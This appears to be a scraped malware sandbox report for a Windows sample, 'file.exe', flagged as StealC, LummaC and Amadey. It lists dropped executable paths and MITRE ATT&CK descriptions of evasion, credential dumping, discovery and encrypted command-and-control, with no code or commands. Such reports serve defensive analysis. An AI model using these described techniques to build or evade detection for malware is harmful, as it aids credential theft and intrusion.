Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe

C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe

C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe

C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe

Windows Analysis Report
file.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre